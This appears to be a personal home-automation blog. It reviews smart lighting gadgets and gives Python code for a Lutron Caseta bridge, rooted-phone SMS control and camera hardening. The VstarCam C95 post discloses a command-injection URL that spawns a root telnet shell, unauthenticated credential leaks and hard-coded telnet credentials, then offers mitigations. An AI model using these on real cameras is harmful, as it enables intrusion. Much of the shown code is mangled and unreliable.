Sunday 3 December 2017

Nanoleaf Aurora

This is what I would call a Smart Decoration! This is one of the coolest lighting products I have seen.

I got this from Best Buy during black Friday for a really good price.

The kit includes the WiFi module, a Rhythm add on module, the power adapter, a bunch of 3M removable command strips, 9 panel linkers, and 9 panels each of which are slightly bigger than the average hand.

The system supports up to 32 (I believe) panel so you can expand as you like.  Each panel has 3 points at which you can install a linker so you can build and design yours to look almost any way you'd like. The app even has a design mode where you can make a virtual layout of any number of panels.

Each panel can be any color and the brightness can be adjusted from 1-100% and it works with Alexa out of the box.

The app is extremely over engineered and give you options for having solid colors or creating moving patterns of your choice of colors, or different effects going to the beat of music with the included Rhythm module.

The colors are so vibrant and bright I cannot get an accurate picture or video of the thing, you just have to see it in person to really appreciate it.   It can make a nice reading light and it acts as a piece of new age smart artwork that can spice up any wall and blend in with your decor.

I really love this thing and I would highly recommend it to anyone looking for a cool gadget that's both fun and functional.   The list price for the kit is a little steep but it does go on sale regularly.

Now for the geeky part! (OK more geeky part)

Unlike many other vendors that try and keep developers out Nanoleaf is 100% on board with developers and has a full open API out for anyone interested in developing for it.

There is this Python module.
And the official API docs from the vendor.

The API uses JSON over HTTP on port 16021.

You have to hold the power button on the device and request a token ID to be granted access to the API, but that only needs to happen once and you will be granted full access with that key until you decide to revoke it.

Not only can you get and set the power, brightness, color and effect states, you can also build your own animations, find out how the panels are laid out (so you can graphically represent them if you want to)

It's very easy to work with the API and integrate it into any existing automation system you have.


I got a Lifx+ bulb on a Black Friday deal.  I was able to get the LifxLAN python module to work pretty easily with one caveat.

It doesn't support giving it the IP of the bulb, you must detect it via UPNP and this will work 99% of the time, HOWEVER if you have multiple subnets/IPs on your NIC or multiple NICs it will pick one to use for broadcasting and you can't tell it which one.   This caused some hair pulling but I eventually realized it was broadcasting to the wrong network, made a quick update to the module and I was up and running within about 5 minutes after that!

Other than that the module is pretty well documented and easy to use.  You will need to do some math to convert between RGB and HSV that is used by the bulb if you want to use a HTML color picker or anything else that uses RGB or hex color codes..

To convert from HSV to RGB use this formula:
h / 65535
s / 65535
v / 65535
r, g, b = colorsys.hsv_to_rgb(h2,s2,v2)

And back:
r / 255
g / 255
b / 255
h,s,v = colorsys.rgb_to_hsv(r,g,b)
h * 65535
s * 65535
v * 65535

You can fully control the IR channel independent of the bulb's color and brightness.  The IR is completely invisible to the eye (unlike night vision security cameras which often glow a dull red) but it also doesn't generate a ton of extra light on my cameras (I tried my phone in a dark room and I tried with the bulb on my front door with my front camera). It helps a little bit if your camera is struggling to see at night, but it's really not worth the extra $20 it costs for the plus model.

It is pretty bright in white mode, I keep the brightness down to 70% by default so my front steps aren't glowing, however once you start turning on colors it gets considerably less bright and I find I need to push it to 100% for it to provide enough light to see by particularly with darker colors like red/orange and even then I find it doesn't provide adequate illumination.

It's able to produce many more colors than my miLight RGB bulb and it's able to push out more lumens in both color and white mode as well as being able to communicate it's brightness and status back to the client, I still don't think you get 4 times the value since you are paying 4 times the price.

I've also had issues with it not being reachable for a few seconds here and there but then it will show up a moment or two later.  I have an access point a few feet away from it so it's not a range issue.

I really can't recommend this product over it's cheap Chinese counterpart.  If it was half the price I would say go for it and that it was a great buy, but I don't feel it's worth the extra expense and I will not be buying more of these bulbs in the future.

F--k you Lutron!

I've expanded my Lutron Caseta system with a 2nd dimmer switch (I'm not a huge fan of the switches, the buttons feel kind of cheap and they can be confusing to use) but they are offer 2-way communication, they work reliably and they do not require a neutral wire which is a big plus.for older homes like mine.

So my Lutron App stopped working a while ago because my hub needed an update which I figured was a bad idea(TM) and since I rarely used the app anyway it didn't seem that important.

Then I decided to do an all around firmware update including the hub and my fears were confirmed.  Since a pro hub that has an API costs twice as much I wasn't really running out to replace what I had.

Lutron has removed the SSH access (well it's still listening on the SSH port but it doesn't accept the key that was floating around the internet anymore) and replaced it's app communication with a SSL based web type service called LEAP.

On the plus side this method is more secure than having a single key that works on every hub, but on the down side you need their server to create a certificate for you now to gain access to the LEAP service.

Fortunately the folks at Home Assistant along with the folks over a Github maintaining the pylutron-caseta module have released an update and a script for fetching the key/cert files for your hub from Lutron.

So first you need to get your private key file, as well as a certificate with your devices MAC in it signed by Lutron and the CA certificate from Lutron.   You will also need the local CA certificate of your hub.  These are all valid until 2038 so you should really only need to do this once if you block your device from internet access which I recommend you do.  I'm not sure what will happen when the certs expire but you may need to offer up a fake NTP server with an old date if Lutron isn't around or has discontinued this service by then.

There is a little Python script you can get here which will have you sign into your Lutron account and get the OAuth string so it can request the required keys and certificates.  It will then write out the files for you.  If you are reading this I suggest you get these files even if you don't need them as they may make it harder to get in the future.

The newest pylutron_caseta on Github has been written for Python 3 and I really don't know enough Py3 to re-write my whole app... I fought with it for a while and I found an intermediate update which will switch the existing Py2.7 code from SSH to SSL, so I have updated my library and re-written a small portion of my code to work with the new one. 

One item of note is that you need to "ping" the hub every once in a while (I believe 15 mins is the timeout) via the web interface or it will stop sending you fresh data and you will need to close and re-open the connection.

I had a hell of a time finding any documentation, support or example code for this library so there was a lot of trial and error involved as well as digging through source and HA's modules.

This code works on both Windows and Linux but you will need Python 2.7.9 or higher as older versions don't support the SSL version used by the hub.

So here is the step by step guide with code:
1) Download the zip from HA linked above to get your 3 certificates and your private key.  Run the script and follow the instructions.  It will confirm it was able to communicate with your bridge and output the following files: caseta.key, caseta-bridge.crt and caseta.crt.

2)  Create the module with the following code:

# I did not write this code, this came from Github, I just added the ping stuff to it.

"""Provides an API to interact with the Lutron Caseta Smart Bridge."""

import json
import logging
import threading
import ssl
import socket

#from pylutron_caseta import _LEAP_DEVICE_TYPES

_LEAP_DEVICE_TYPES = {'light': ['WallDimmer', 'PlugInDimmer'],
                      'switch': ['WallSwitch'],
                      'cover': ['SerenaHoneycombShade', 'SerenaRollerShade',
                                'TriathlonRollerShade', 'QsWirelessShade'],
                      'sensor': ['Pico1Button', 'Pico2Button',
                                 'Pico2ButtonRaiseLower', 'Pico3Button',
                                 'Pico3ButtonRaiseLower', 'Pico4Button',
                                 'Pico4ButtonScene', 'Pico4ButtonZone',
                                 'Pico4Button2Group', 'FourGroupRemote']}

_LOG = logging.getLogger('smartbridge')

class Smartbridge:
    A representation of the Lutron Caseta Smart Bridge.

    It uses an SSH interface known as the LEAP server.

    def __init__(self, hostname, keyfile, certfile, ca_certs):
        """Initialize the Smart Bridge."""
        self.devices = {}
        self.scenes = {}
        self._hostname = hostname
        self._keyfile = keyfile
        self._certfile = certfile
        self._ca_certs = ca_certs
        self.logged_in = False
        self._ssl_sock = None
        monitor = threading.Thread(target=self._monitor)
        for _id in self.devices:

        self._subscribers = {}

    def add_subscriber(self, device_id, callback_):
        Add a listener to be notified of state changes.

        :param device_id: device id, e.g. 5
        :param callback_: callback to invoke
        self._subscribers[device_id] = callback_

    def get_devices(self):
        """Will return all known devices connected to the Smart Bridge."""
        return self.devices

    def get_devices_by_domain(self, domain):
        Return a list of devices for the given domain.

        :param domain: one of 'light', 'switch', 'cover' or 'sensor'
        :returns list of zero or more of the devices
        devs = []

        # return immediately if not a supported domain
        if domain not in _LEAP_DEVICE_TYPES:
            return devs

        # loop over all devices and check their type
        for device_id in self.devices:
            if self.devices[device_id]['type'] in _LEAP_DEVICE_TYPES[domain]:
        return devs

    def get_devices_by_type(self, type_):
        Will return all devices of a given device type.

        :param type_: LEAP device type, e.g. WallSwitch
        devs = []
        for device_id in self.devices:
            if self.devices[device_id]['type'] == type_:
        return devs

    def get_devices_by_types(self, types):
        Will return all devices of for a list of given device types.

        :param types: list of LEAP device types such as WallSwitch, WallDimmer
        devs = []
        for device_id in self.devices:
            if self.devices[device_id]['type'] in types:
        return devs

    def get_device_by_id(self, device_id):
        Will return a device with the given ID.

        :param device_id: device id, e.g. 5
        return self.devices[device_id]

    def get_scenes(self):
        """Will return all known scenes from the Smart Bridge."""
        return self.scenes

    def get_scene_by_id(self, scene_id):
        Will return a scene with the given scene ID.

        :param scene_id: scene id, e.g 23
        return self.scenes[scene_id]

    def ping(self):
Pings the device to keep alive
        cmd = '{"CommuniqueType":"ReadRequest",' \
        return self._send_command(cmd)

    def get_value(self, device_id):
        Will return the current level value for the device with the given ID.

        :param device_id: device id, e.g. 5
        :returns level value from 0 to 100
        :rtype int
        zone_id = self._get_zone_id(device_id)
        cmd = '{"CommuniqueType":"ReadRequest",' \
              '"Header":{"Url":"/zone/%s/status"}}\n' % zone_id
        if zone_id:
            return self._send_command(cmd)

    def is_connected(self):
        """Will return True if currently connected to the Smart Bridge."""
        return self.logged_in

    def is_on(self, device_id):
        Will return True is the device with the given ID is 'on'.

        :param device_id: device id, e.g. 5
        :returns True if level is greater than 0 level, False otherwise
        return self.devices[device_id]['current_state'] > 0

    def set_value(self, device_id, value):
        Will set the value for a device with the given ID.

        :param device_id: device id to set the value on
        :param value: integer value from 0 to 100 to set
        zone_id = self._get_zone_id(device_id)
        if zone_id:
            cmd = '{"CommuniqueType":"CreateRequest",' \
                  '"Header":{"Url":"/zone/%s/commandprocessor"},' \
                  '"Body":{"Command":{"CommandType":"GoToLevel",' \
                  '"Parameter":[{"Type":"Level",' \
                  '"Value":%s}]}}}\n' % (zone_id, value)
            return self._send_command(cmd)

    def turn_on(self, device_id):
        Will turn 'on' the device with the given ID.

        :param device_id: device id to turn on
        return self.set_value(device_id, 100)

    def turn_off(self, device_id):
        Will turn 'off' the device with the given ID.

        :param device_id: device id to turn off
        return self.set_value(device_id, 0)

    def activate_scene(self, scene_id):
        Will activate the scene with the given ID.

        :param scene_id: scene id, e.g. 23
        if scene_id in self.scenes:
            cmd = '{"CommuniqueType":"CreateRequest",' \
                  '"Header":{"Url":"/virtualbutton/%s/commandprocessor"},' \
                  '"Body":{"Command":{"CommandType":"PressAndRelease"}}}' \
                  '\n' % scene_id
            return self._send_command(cmd)

    def _get_zone_id(self, device_id):
        Return the zone id for an given device.

        :param device_id: device id for which to retrieve a zone id
        device = self.devices[device_id]
        if 'zone' in device:
            return device['zone']
        return None

    def _send_command(self, cmd):
        """Send a command to the bridge."""

    def _monitor(self):
        """Event monitoring loop."""
        while True:
                # require a certificate from the server
                ssl_output = self._ssl_sock.recv(1)
                response = ssl_output
                while ssl_output != "\n":
                    ssl_output = self._ssl_sock.recv(1)
                    response += ssl_output

                resp_parts = response.split(b'\r\n')
                    for resp in resp_parts:
                        if resp:
                            resp_json = json.loads(resp.decode("UTF-8"))
                except ValueError:
                    _LOG.error("Invalid response "
                               "from SmartBridge: " + response.decode("UTF-8"))
    except Exception as e:
print "Shit something fucked up!"
print e
            except ConnectionError:
                self.logged_in = False

    def _handle_response(self, resp_json):
        Handle an event from the ssl interface.

        If a zone level was changed either by external means such as a Pico
        remote or by a command sent from us, the new level will appear on the
        SSH shell and the response is handled by this function.

        :param resp_json: full JSON response from the SSH shell
        comm_type = resp_json['CommuniqueType']
        if comm_type == 'ReadResponse':
            body = resp_json['Body']
    if body['PingResponse'] != "":
print "*PONG*"
return 0
            zone = body['ZoneStatus']['Zone']['href']
            zone = zone[zone.rfind('/') + 1:]
            level = body['ZoneStatus']['Level']
            _LOG.debug('zone=%s level=%s', zone, level)
            for _device_id in self.devices:
                device = self.devices[_device_id]
                if 'zone' in device:
                    if zone == device['zone']:
                        device['current_state'] = level
                        if _device_id in self._subscribers:

    def _login(self):
        """Connect and login to the Smart Bridge LEAP server using SSL."""
        if self.logged_in:

        _LOG.debug("Connecting to Smart Bridge via SSL")
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # require a certificate from the server
        self._ssl_sock = ssl.wrap_socket(connection,

        self._ssl_sock.connect((self._hostname, 8081))
        _LOG.debug("Successfully connected to Smart Bridge.")
        self.logged_in = True

    def _load_devices(self):
        """Load the device list from the SSL LEAP server interface."""
        _LOG.debug("Loading devices")
        ssl_output = self._ssl_sock.recv(1)
        response = ssl_output
        while ssl_output != "\n":
            ssl_output = self._ssl_sock.recv(1)
            response += ssl_output
        device_json = json.loads(response.decode("UTF-8"))
        for device in device_json['Body']['Devices']:
            device_id = device['href'][device['href'].rfind('/') + 1:]
            device_zone = None
            if 'LocalZones' in device:
                device_zone = device['LocalZones'][0]['href']
                device_zone = device_zone[device_zone.rfind('/') + 1:]
            device_name = device['Name']
            device_type = device['DeviceType']
            self.devices[device_id] = {'device_id': device_id,
                                       'name': device_name,
                                       'type': device_type,
                                       'zone': device_zone,
                                       'current_state': -1}

    def _load_scenes(self):
        Load the scenes from the Smart Bridge.

        Scenes are known as virtual buttons in the SSL LEAP interface.
        _LOG.debug("Loading scenes from the Smart Bridge")
        ssl_output = self._ssl_sock.recv(1)
        response = ssl_output
        while ssl_output != "\n":
            ssl_output = self._ssl_sock.recv(1)
            response += ssl_output
        scene_json = json.loads(response.decode("UTF-8"))
        for scene in scene_json['Body']['VirtualButtons']:
            if scene['IsProgrammed']:
                scene_id = scene['href'][scene['href'].rfind('/') + 1:]
                scene_name = scene['Name']
                self.scenes[scene_id] = {'scene_id': scene_id,
                                         'name': scene_name}

3) Create your main program to do your bidding.  I'll show you how to get started:

import smartbridge, time
# This will open a connection to your bridge. You will need to put in the static IP of your bridge in here #and you can add paths to the crt files in needed.
hub = smartbridge.Smartbridge('IP OF YOUR BRIDGE', 'caseta.key', 'caseta.crt', 'caseta-bridge.crt')
lastping = time.time()
while 1:
            # Check if the hub has been pinged in the last minute, if not go ahead and ping it
    if time.time() > lastping + 60:
print "*PING*"
lastping = time.time() # keep alive

fetch = hub.get_devices()   # Grab the whole dict of devices and states from the hub
for item in fetch:
                print fetch[item]   # this will print out the dict of each known device.
                print "Name: %s   Brightness: %s" % (fetch[item]['name'],fetch[item]['current_state']) # this
                   # will print out the name and brightness (0-100) of each device in the list
                hub.set_value(item, 100)  # This will set each item to 100% brightness
                # "Item" in this case is the DID or Device ID, and the 100 above is the brightness level of                          #that  device.  You can  easily check for a specific device 'name' and only alter that device.
                # The Smartbridge module supports other functions too but there doesn't seem to be                                  # documentation on them and I think most use cases don't need them.   This should be                            #enough to get most people started fetching real-time status data and controlling lights, if                        #you want to dig into the code above to see what else it can do be my guest!

4) That should be enough to get you started, if you found this info useful please leave a comment and let me know.

Huge thanks to gurumitts & mdonoughe for their time and effort in figuring this out even though his readme is crap :P

Important Links:              Github Page for Pylutron_caseta      Home Assistant Lutron Caseta module page

Saturday 7 October 2017

SMS for automation

So the power is out or the internet is down and you still want to be able to control or check on your home, how can you do this??

Answer: Pay as you go plan and a old rooted cell phone!

Required Parts:
- Old Android cell phone (You can get a Nexus 4 with a damaged screen cheap)
- Pay as you go plan (7-11 has a great plan which only costs $25 a year and has unlimited inbound texts)
- UPS to keep your PC up and running during a power failure

Step 1:
Root your phone & enable ADB.
There are a ton of guides out there on how to get root access on almost any phone.
You should turn off logging in SuperSU or it will eventually wreck your flash.
Authorize your PC and make sure the shell has always granted root permissions.

Step 2:
Install SQLite and ShellMS APKs linked here since they can be tough to find.
SQLite will be required to read the SMS database and ShellMS will allow you to send texts in the background without user interaction.
I could not find anyone with a copy of the ShellMS APK, I had to compile it myself from source.  I will link it in here so no one else has to go through the trouble I did.

Step 3:
Write up some code to handle messages sent by SMS.

To send a SMS use the following command:
adb.exe shell am startservice --user 0 -n -e contact <phonenumber> -e "<message>"

To check the SMS database:
For unread messages only:
adb.exe shell "su -c \'sqlite3 /data/data/ \\"select * from sms where read = 0 order by date asc;\\"\'"

For all messages:
adb.exe shell "su -c \'sqlite3 /data/data/ \\"select * from sms order by date asc;\\"\'"

Monday 28 August 2017

HRV Hijinks and other quick projects

This will be a pretty short post since this isn't really much of a hack and there isn't much to it...

I got a new LifeBreath HRV and the wall control left a little to be desired, and I am too cheap to spend $100 on a digital one WTF is in there you could get a cheap 7" tablet for less than $100 but I digress.

Anyway my control lacked a easy way to set high speed mode and has no timer whatsoever. I had a spare relay on my Pi from my X10 resetter project so I wired the ON and HIGH lines into it and created a MQTT control program which would switch the relay on and off after a specified period of time.  The code is pretty simple but if you want a copy just leave a comment.

Another thing I did was got a few Amazon Echo Dots.  I have an existing web API I can call with commands so I just setup Fauxmo to emulate Wemo devices and I can now control all my automation stuff through Alexa.

Sunday 27 August 2017

VstarCam C95 Insecurity

So the following exploits work on the VstarCam C95

Get Admin Credentials and Config file without authentication:
This file contains plain-text username and password for the admin account along with the unique ID of the camera.

Will give you the local network config, SSID and WPA key.

Run arbitrary commands once authenticated:

Note: Change the admin username/password to what you got from the file above, this code will open a non password protected telnet server on port 25
http://camurl:port/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0

However VstarCam was nice enough to leave a telnet server running with the following credentials:

Username: vstarcam2015                               password: 20150602



You can mitigate most of these problems with some simple startup scripts... There will be a race condition at bootup however where your system is vulnerable... Once started however you can make it so remote users can't get your login and network creds and you can change your telnet password.

Tomorrow I will look at setting up firewall rules to block connections to the web server until the config files are deleted.

Start by coping /system/www/network.ini and /system/www/settings.ini to /system/init/

Create the following files in /system/init/ (This runs on startup and puts stuff back so it can get on the wifi and the web server can load the proper username and password)

MAKE SURE TO CHANGE THE <YOUR ROOT HASH HERE> part to a valid password hash or you will lock yourself out!
cp /system/init/system.ini /system/www/
cp /system/init/network.ini /system/www/
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 30
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd

/system/init/ & will run and remove the ini files from the www directory after the system has started... it runs over and over until it doesn't find either file then exits. Then it waits and checks if the files come back every 30 seconds and removes them again.
if [ -e /system/www/network.ini ]
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/ &

        echo "nok"

if [ -e /system/www/system.ini ]
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/ &
        sleep 30
        /system/init/ &


Finally modify your file to run undelete...
export PATH=/system/system/bin:$PATH
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/init/ &

/system/system/bin/upgrade &


As an added measure I've hex edited the /system/system/bin/encoder executable and changed the names of set_ftp.cgi and ftptest.cgi to random characters since I don't use FTP functions anyway.  Though this isn't perfect it will prevent any automated scripts and script kiddies from getting root on my device.

I may also experiment with changing the system.ini file name in the binary as well as the loginuse and loginpas strings so my device will be very different from all the other ones out there, thus further obfuscating this attack surface. I will update this post once I have time to do this.

As a side note I have got much more reliable connections to my camera as well as less random reboots since I made these changes, I'm not sure why at this point, but I'm much happier with it now that it's slightly less vulnerable and more reliable.

Sunday 4 June 2017

Die X10 Die (The X10, The) or How I switched to Lutron Casetta

So I finally did it!

I replaced my last X10 power line device (I still have some X10 RF motion sensors and keypads for the time being).   Probably a good thing too since when I pulled the switch out it had broken in half...

I got the Lutron Casetta dimmer kit from Home Depot. This included a wire in dimmer switch, a mini remote and the wired hub plus all the required hardware.

The wire in dimmer works with LED, incandescent and halogen loads and does not use a neutral wire.  It has 4 buttons on it: On, Brighter, Dimmer and Off and it also has a row of LEDs to indicate the current brightness.   It comes with a screwless (clip on) face plate with a plastic surround which I assume would go in a single gang box as assembled, I needed to put mine in a double gang box so I had to unclip the face plate and unscrew the plastic bezel and it fits perfectly in a standard Decora style cover plate.     It comes with 3 wire nuts (source, load and ground) and mounting screws to attach it to your electrical box.   It's considerably deeper than a regular switch, but smaller than a GFCI or the X10 module I had in there.

Installation is a breeze.  Turn off the breaker, remove the old switch, connect the line and load wires from the old switch to the wires coming out of the Lutron switch with the included wire nuts (You can connect the ground wire if you want but it's just crimped to the part that connects to the box so as long as your box is grounded it should be OK), then use the included screws to attach it to the box and finally clip the face plate on and turn the power back on. So easy even a caveman could do it!

The pico remote is the same size as the paddle of a Decora switch, it's relatively thin and runs on an included coin cell battery (probably a CR2032). It has all the same buttons as the main switch with the addition of a round button between the dimmer buttons which sets the brightness to 50% and a single LED.

It comes attached to a clear wall mounting clip with mounting tape on it. This allows it to be used as a "stick a switch" but can also be easily removed by sliding it out of the holder for portable use and to change batteries.

The last included piece is the wired hub.  It is a little white box and it has a strip along it that lights up white.  It comes with a power adapter, and a network cable.  (It does not support Wi-Fi).  Once you power the hub up and plug it into your network you can download the Lutron app for your phone or tablet and it will locate it and instruct you to press the button on the back of the hub to authorize your phone.

Once the basic setup is complete you will be prompted to pair your devices...  This involves going to the device (remote, wall switch, whatever) and holding the off button for 10 seconds until the lights flash quickly.  They will then be added to your app/hub after you give it a name.

You can assign the remote to scenes or individual devices via the app as well you can touch the light for an on screen remote with an on, off and a dimmer slider for any light on your system.  As well you can program timers with fairly granular control within the app. (Your remote and app can also be paired to work with Sonos systems, some Honeywell smart thermostats and other smart devices)

I've had no range issues and they give you ways of adding plug in modules to repeat the signal if you do run into trouble.

As far as hacking and integration goes, it seems there is a pro version which lets you enable telnet to send and receive commands but this kit seems to only include the standard version.

Fortunately the internets have come to the rescue and given us a certificate for logging into the SSH interface (there is no shell sadly, it's just a raw API type interface over SSH).

I have installed the library "pylutron_caseta" and got it working to the point where it can send and receive commands from the hub.  I get updates every time the switch changes state and can send a level from 0 to 100 (0 being off, 100 being on and 1-99 being a dim level) to control it.

I publish the state of this light to MQTT so my existing infrastructure can read it's current status as well as accept commands via MQTT to set the brightness level.  I also handle my MQTT switch I made earlier within this app the minimize delays and the switch works almost instantly now vs the 1-3 second delay with the old X10 system.

I'm not going to bother posting the code at this point since it's mostly just calling the module with a little bit of magic sauce for the MQTT stuff to work.  If you ended up here looking for a code example just leave me a comment and I will post my code.

Since it works in conjunction with my automation system as well as a motion detector the switch acts similar to a 3-way switch so flipping the switch will toggle the lights to the opposite state rather than having a static on/off position like a normal switch (though I do transmit the physical location of the switch to MQTT so I could easily change that).  When the lights are in a dimmed state, the first flip of the switch will bring the lights to full brightness and then toggle from there on out until they are dimmed again.

And now for the video of the new system working: